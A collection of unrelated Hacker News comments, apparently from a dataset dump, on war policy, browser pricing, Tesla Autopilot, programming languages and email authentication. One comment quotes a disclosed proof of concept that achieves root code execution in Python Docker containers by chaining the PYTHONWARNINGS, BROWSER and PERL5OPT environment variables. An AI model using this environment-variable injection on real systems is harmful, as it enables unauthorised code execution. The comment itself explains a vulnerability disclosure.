skysight-inc/HackerNews huggingface dataset:
It’s hard to find any good scholarly references on the differences between pro drop and diary drop (I guess because they are uncontroversial and not particularly subtle). However, section 4.2.1 of this MA dissertation has a decent, though very brief, summary: https://awweir.files.wordpress.com/2017/04/weir-ug-diss.pdf Similar observations are also made in the following paper: https://core.ac.uk/download/pdf/76381796.pdf
Num and C are very beginner friendly. Red may soon get there eventually.
Gmail has a blackbox ML that takes SPF and DKIM into account, but with a certain scoring that might not matter that much compared to said IPs reputation in their system.
https://theintercept.com/2017/01/30/obama-killed-a-16-year-o...

Looks like they were pretty keen to wipe out that guys entire family; 16 year old son two weeks later and eventually nailed the 8 year old daughter. You dont often see bipartisan action like that.
Uniswap is planning for KYC.

Expect the cryptocurrency ecosystem to largely fall in line with financial regulations.

You cannot escape middlemen, they have just changed who it is. Most smart contracts are taking a cut, as do the miners with fees.

Blockchain cannot establish trust or authenticity beyond the digital realm.

You should think about why people operate the way they do today and why this fantasy world of crypto saviorism will not pan out. Who would hire someone for programming without knowing who they are or if they can attend meetings at the same time as everyone else.

Who would want their financial history publicly available for all to see?

Let's not forget almost no one wants to transact in a volatile currency and no crypto has become a currency yet.
Our original reasoning was the War on Terror and specifically to hunt Bin Laden and deny Al-Qaeda a safe base of operations to plan out future attacks.

The Taliban was considered, at the time, to provide safe harbor to Al-Qaeda and thus were driven out of power with force.

At the time, before the invasion Bush even demanded the Taliban hand over Bin Laden. But the Taliban refused and demanded "sufficient proof" of the 9/11 attacks.

It all went downhill from there though. Our money had Afghan's turning in their local enemies as terrorists. Taliban went into hiding but still had plenty of influence. And many villages, especially those that were super rural and away from the larger cities, didnt really want the infrastructure or modernization that the US tried to use as a bargaining chip.

Basically it was the US being really upset about 9/11 and vowing vengance, but losing their way once it became obvious that vengance was not really going to be...swift..

https://en.wikipedia.org/wiki/War_in_Afghanistan_(2001%E2%80...

https://en.wikipedia.org/wiki/United_States_invasion_of_Afgh...
This is neither the time nor the place to talk about my work ethic.

Cleaning my desk or going through my inbox instead of doing whatever needs to be done is just my brain cargo-culting "working at a computer in an office", not unlike a toddler imitating grown-ups. At this point it's very useful to train yourself to talk to somebody about what you need to do, or write a list of the steps you need to take and keep breaking it into smaller parts, until you find it's easier to do what you were about to write than to write it.

It's a classic trick, I call it "starting with a corner", from when you were a child and you had to color the entire background with blue -- it was so off-putting, even if you knew /how/ to do it, it was so much work. But if you start with a corner, at least you got somewhere.
It looks like the primary redeeming tab groups feature could've been implemented as a browser extension which I personally still wouldn't use as I don't see that it adds any value over my current natural setup of having my "tab groups" basically grouped across across multiple browser windows and virtual desktops. So all sites I frequent are already open and I just use the OS shortcuts for opening the preferred browser window and CTRL+NUM to navigate tabs which IMO beats twiddling with a permanent sidebar that takes up valuable real-estate.

It seems like what sets this browser apart is it wanting to charge $15/mo for a platform restricted browser with a tiny featureset and no extensions? Even free, it'd be hard to justify why anyone would choose to use it over other indie browsers like Vivaldi and its history of constantly shipping novel features.

To justify charging any $$ would require providing some kind of premium hosting service like a secure VPN, but even that should be no more than $5/mo. $15 /mo would be more than I'm paying for any software, even more than my JetBrains All Products Pack subscription (with continuity discount) for which I'm currently making use of 11 of their best-in-class products - Unfortunately I don't see anything here to justify anywhere near $15 /mo. Although I really can't see myself ever paying a subscription to use a browser so I'm definitely not the target market.
> All the counterarguments you've given are subjective to you (eg you know what tokens do in over languages, spent zero time learning the tokens of this language and thus you're clearly not going to know what a colon does in this language just by looking at it).

I tried very hard to only bring up problems that were at least somewhat objective. Counting the number of superfluous symbols in the code is not purely subjective. Noting the similarity between "x01" and "x01a" is not purely subjective. Measuring the distance between a conditional test and its consequences is not purely subjective.

And I did figure out what a colon does in this language just by inspecting this code. It's semicolons that serve no apparent purpose in this snippet, and even with the outside knowledge that they serve the same statement separator purpose as in C and many other languages, it's still an objective fact that they are largely redundant. The character count could have been a lot lower if the language made it the default for new lines to start new statements and used a special character for continuing a statement on another line.

Subjective would have been if I complained about the semicolons being at the beginning of the line instead of at the end. That's almost purely a matter of taste driven by prior experience with other languages.
Or show up in one of those anti face recognition masks whenever you go shopping.
I guess the management at those corporations is so bad they do not realize they are driving profits away by spending money to make it feel like a prison.

Or management is using tons of experience and data to do what they have to do to stay in business in a 2% profit margin business, inconveniencing customers if they have to in order to prevent losses so they do not have to close the store.
I don't understand this comment. Afghanistan never had oil, nor do I recall any politician ever saying that over the last 20 years.

Am I missing the sarcasm?
Get news on latest investment deals in Africa
probably someone with @apple.com address signed up
ARC requires the recipient to trust the mailing list. Better to just allow recipients to check the original DKIM signature instead.
It does have that? https://github.com/alda-lang/alda/blob/master/doc/variables....
Having used this for about 30 minutes total, I can tell you this goes MUCH further than any Vim-inspired browser I've ever tried, and I (think) I tried them all.

The window/buffer management in particular is very good, but UI-wise in general it's a very smooth experience. I really see myself using this, it's really very good.
This is the thing when bad deeds are made on His name, he stops listening.
Oh come on! This is either trolling or you just didn’t think more than 30 seconds after reading the word “sick.” You don’t even know what this person’s ailment is, but you jumped straight to them being an infectious person. Being able to work a 9-5 shift is not the same as being healthy enough to see other people.
I checked the website and they seem to be contextualizing "Full-self driving" with it coming at a future date:

> All new Tesla cars have the hardware needed in the future for full self-driving in almost all circumstances. [...] As these self-driving capabilities are introduced, your car will be continuously upgraded through over-the-air software updates.

https://www.tesla.com/en_CA/autopilot

I also personally would prefer they stuck to 'autopilot' and avoided the word full in 'full self-driving' and otherwise be more specific about what it means.

Other car companies typically productize the various features like lane assist, following cruise control, etc rather than bundle it into one. But that definitely makes communicating it more difficult.

Tesla probably doesn't want to call it 'limited self-driving' or 'partial self-driving'. Maybe 'computer assisted driving' but that doesn't sound as appealing. I can see the difficulty marketing here. But again not using 'full' as in it's complete and ready-to-go would help.
> each procedure must be in its own source file.

Funnily enough, this is how GNU libc is organised.
I think highly variable, replayable, emergent games in general are a good fit. A random aspect (complex interacting systems, or rng that doesn’t railroad you) is a key component. That’s where some games get the surprise you mention. I think of paradox games, 4x, Minecraft, even Skyrim as possible good fits for open development (notably good for modding too). I don’t believe platformers, farcry type story/action, and multiplayer CoD types would make sense because the game is the same every run. Ie open development is viable when the team can be unopinionated in the way each playthrough will look.

Agree that games where art direction is strong and an important differentiator are also not a good fit (thus making a Skyrim and its AAA style probably hard to replicate in an open team)
If you demonstrate an open mind when someone says you're wrong you are more likely to open their mind. That's a win.

Focus on yourself and controlling your emotions.
Be the calm.
I actually quite like this. Current text notation in trackers is pretty painful to manipulate, and I've often found myself wanting for a plaintext language to use instead, specifically for writing niche or otherwise difficult portions programatically. The syntax in this language seems to be exactly what I'm looking for!
My team has the same reaction when someone references our CoC.
No ofense, but I wish you all luck with this model. It is not meant for us who work on IT, we have to work with several browsers. This is more for the end consumer like.
Check this out: https://dasha.ai/en-us/blog/customer-feedback-survey

You can make conversational AI call all the users and collect quantitative results for you.

If you're interested, you can email arthur@dasha.ai, he'll take you through all of it :)

Hope this helps!
> We don't use first person voice on resumes. We use 'implied first person' (no 'I'). So "Former emergency response driver..."

Sorry but no, that’s bad advice.
Another great lesson that you can't slap "AI" on everything...
We definitely don't want to punish our users or make the app feel worse.

We're testing out a classic mode at the moment that allows your current shortcuts to work as well :)
That is what I meant. There are great youtube communities, but it's mostly german.
Wear a full suit of armor made out of mirrors.
This expresses the mindset I find myself in when I use Autopilot. It's like enabling cruise control, you're still watching traffic around you but now you don't need to focus on maintaining the correct speed or worry about keeping your car perfectly in a lane. You can more or less let the car handle that (with your hands on the wheel to guard against the occasional jerky maneuver when a lane widens for example) while you focus on the conditions around you.
Your face is just one of a myriad of things that can be recognized and tracked.

There are so many facets of the human body which can all be combined. Can't see your face? Who cares- I can see how far apart your eyes are, how tall you are, your shoulder-to-elbow length, your walking speed, and your approximate weight. You're dogman144, and you spend an average of $26.34 per visit.
F# is such a sleeper language IMO. It's compositional tools are quite beautiful. I don't think it'll ever get wide adoption though, which is quite sad. It's just such a sensible ML language. The abstractions chosen (computational expressions, for example) were the best choice for F#, rather than copies of other FP languages. They can't implement any form of HKT because of limitations in the CLR, so they had to use alternatives.

Elixir is also really great IMO. The pipeline composition is a really nice model. If adoption grows more the tooling should step up, because it's lacking a little. The language server can't do things like rename a function, there isn't a complete TreeSitter parser either. I also have this fear with actor model that I'm inadvertantly leaving some process dangle somewhere, which in my experience is not unjustified.
Agreed. The subscription pricing model alone is an instant disqualifier.

$15 for a one-time purchase? I'd absolutely consider it. $15/month? Never.
> You can't infer that the lack of public meetings on the topic means a lack of any action.

I can infer from a lack of press conferences, public addresses, or any public explanation of what they are going to do that they do not intend to keep the public informed and they did not expect any of this nor did they have any preparations. So, now, they are struggling to figure out something coherent to say that will not be invalidated in less than a few hours.
Tesla's Autopilot systems the subject of new NHTSA investigation
Not using "I" on a resume is pretty much the first rule of resume writing. If you were to search for rules of resume writing, I expect that would probably appear on every article. If you've had good results with a first person CV, that's probably because your experience is strong enough that the reader forgives you for the error.

Of course you 'can' write a resume in first person. It's just not the voice that the reader expects. Similar to third person.

A resume is certainly meant to try and impress the reader, but typically we're trying to impress the reader with professional accomplishments. I'm much more impressed by someone's professional accomplishments than their choice to use LaTeX.
Well it also gave us some regional operating capability near Pakistan, which we have out own interesting relationship with and the the Kashmir region has been said to be a huge powder keg and possible cause for the next large scale mutli-national war.
7 Ways to Use Systems Thinking in Your Daily Life
That is for spring-webflux, is that a typical spring set up for web today?

I haven’t coded spring for a few years now, but
I was thinking about the traditional spring setup that most use and that is comparable.

You can of course use Python successfully, my argument is that it is easier with PHP, not that it is not possible with Python.

It is a similar argument compared with Java, it is easier with PHP than Java in a web context. Java has other benefit thats fits better for web services IMHO, general higher performance is one.
> You never save money building it yourself

This comes up in the DIY Audio community. It seems like the economic value proposition is very sensitive to what commercial segment you compare against. You absolutely can't beat low-end, mass-produced speakers on price, but it's easy to beat high-end, boutique speakers on price while getting close on quality.
FWIW, bottled water is also ~1000 times more expensive than tap water.

I find that the energy needed to produce any particular product tends to correlate pretty strongly (though not perfectly) with its price, so the headline is hardly surprising.

[1]: https://www.walmart.com/ip/Great-Value-Purified-Drinking-Wat...

[2]: https://www.move.org/utility-bills-101/

[3]: https://www.wolframalpha.com/input/?i=%28%243.98+%2F+%2840*1...
The basis of a rational decision, is to work with hypothesis. When someone shows you that you are wrong. Just ask yourself, my belief is based of which hypothesis ? Did his points showed that the logic between my hypothesis and my opinion were flawed? Did he show that my hypothesis were false ?

If you want to be rational about an opinion, you have to think first, "what are my hypothesis". Most people start with the opinion and then go down to the hypothesis. That can't work like that. That's the hypothesis + the logic that should create an opinion. Not the other way around
Now
You run to the hills.

https://twitter.com/sudhirchaudhary/status/14271846475160248...
There is a proof of concept given, "Figure-4: arbitrary code execution achieved using multiple environment variables against Python 2 and Python 3":

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
I believe it was a tongue-in-cheek accusation. But the line of thinking was that this piece of text should be considered so embarrassing to Goebbels due to its obvious wrong headedness, that somebody sympathetic to him or the Nazi movement might want to hide it to avoid the embarrassment.
Individual Saudis (and other gulf citizens) were the primary financial backers for Al-Quaeda.

...but the largest OUTFLOW of money from Al-Quaeda, a full 2/3rds of their annual budget was to fund the Taliban government - $20 million per year.
I may be wrong, but "Mind Virii" could be using the genitive or possessive form of Virus, like "Mind of a Virus" or "Virus's Mind".
Hmm, interesting point.

I presume specific user testimonials might help? What were you thinking?
I'm a professional. The way you described it initially caught my attention as something I could use.

Make it a one-time payment and I'd think about it. Subware is not something I support.
Some people activate cruise control and then rest their right foot on the floor. I activate cruise control whenever possible because while it is activated, I can drive with my foot resting on the brake pedal. I like being marginally more responsive to an event that requires braking since I don’t need to move my foot from the accelerator.
Intel’s Arc GPUs will compete with GeForce and Radeon in early 2022
Why not just using Vimium extension for Chrome?
I’d like to see a version of this where the barriers are colored and the lasers are monochrome, but when a laser hits the barrier, instead of disappearing, it takes on that color. That way, you could see which barrier saves the target at any point.
Thanks! pdf-tools gives me very crip images without the flag mentioned in the gibhub issue (perhaps that's default by now?). My personal org setup uses pdf-tools, so maybe that's why I didn't notice that one either. I hadn't used the the Mac, and Emacs on a Mac as a primary driver for work from home until about 3 months ago, but after the first couple of weeks of dealing with annoying minute changes during my adaptation from Linux, I now work more-or-less fine on it (with external keyboard, mouse, and monitor most of the time, and most of the time in iterm2 on a remote Emacs server; the remaining time, from the local Emacs, for visualization, reading PDF papers or documentation, and composing local documents.)
Definitely use cameras as well to determine stopping. Otherwise there wouldn’t have been the issue with bridges or shadows causing phantom braking.
60% seems high to me. This was the first that I've heard of it being used. I'm not surprised to learn of it, but I hadn't really thought about it before seeing the headline.
All You Need to Know About Context Managers in Python
Most Developer Relations folks I know directly contribute to docs and write samples. They either work with product teams to anticipate the needs of the developer community when doing so, or focus improvements based on the feedback they gathered from directly interacting with and observing the community.
Remember When Multiplayer Gaming Needed Envelopes and Stamps?
> like the truck driver in a big curve slightly deviating out of his lane and "pushing" me dangerously close to the median strip for example

This is a situation that you simply shouldn’t put yourself in. There is no reason to ever drive right next to a large vehicle, on either side, except for very short periods when overtaking them on a straight road.
How does this compare to LilyPond? I'm surprised it isn't mentioned at all, since from a first glance the notation looks very similar.

[0]: http://lilypond.org/
AFAIK those only work because cheap cameras lack IR filters, for both cost-cutting and night-vision reasons. More advanced cameras have IR filters, rendering such devices useless.
It really depends what foo is. I don't think it's rational to waste time on unimportant things. If foo is eating red meat, then I don't think it's rational to really worry about it one way or another.

I think part of the problem is that most people are conditioned into many beliefs from a young age

I think it's irrational to not consider new information when processed. So, again, this depends on what foo is. If it is obeying speed limits even when no one else is on the road, and your friend learns the penalties for not obeying road signs when they get their license, they would probably find it irrational to not do the speed limit, even if they hate it. They wouldn't want to risk the fines, license suspension, etc.

However, let's say your friend's brother has stronger beliefs and can afford any fines and legal action. He could think about it and still decide that it's rational to not obey the speed limit. This doesn't make it right; I think right and rational are mutually exclusive.
Again, thanks! I’ll read through these when I get some time.
This is also obvious from looking at a cached version of the site: there are there is a list of online users and posts in the sidebar.
You don’t need a valid MX. It’ll try the A record absent a MX.
So, bucking the trend... but i think this is really well executed and I'm a huge fan. I don't use vivaldi but i dont find it to be as nice of a UX as this.

Im a Firefox guy mostly on principal, but if you had a solid free trial on this I would give it a go.

Best of luck to you, remember you don't need to do something totally new to do it in a way that makes peoples lives better.

I'd consider dropping the prices a bit, $9/mo seems more reasonable to me than $15 but as you add features im sure that will change.
It's always contextual. If you run into a moose head on, you're in for a very bad time.
> Maybe they shouldn't charge $15/month for a product that's incomplete

How do you expect them to ever finish the browser if they don't have any income from working on it?
That seems to be for repeating things, but kennywinker is asking about shifting a note's pitch.
You can't retroactively justify the war in hindsight on false reasoning. 'Saddam was a bad guy' is not a justification for war and occupation. If the American people were told they would need to spend 100s of billions and lose countless young lives for the sole purpose of overthrowing a dictator in a foreign country, there would have been no war.

The reasons for going to war were a lie, and claiming that the removal of Saddam was the true victory is an excuse.
> Easy trade with Argentina

Doubt it, given that they claim it
Same here! At some point there were rumors that Splash Damage was going to announce a remaster at E3 but it didn't happen due to Covid :(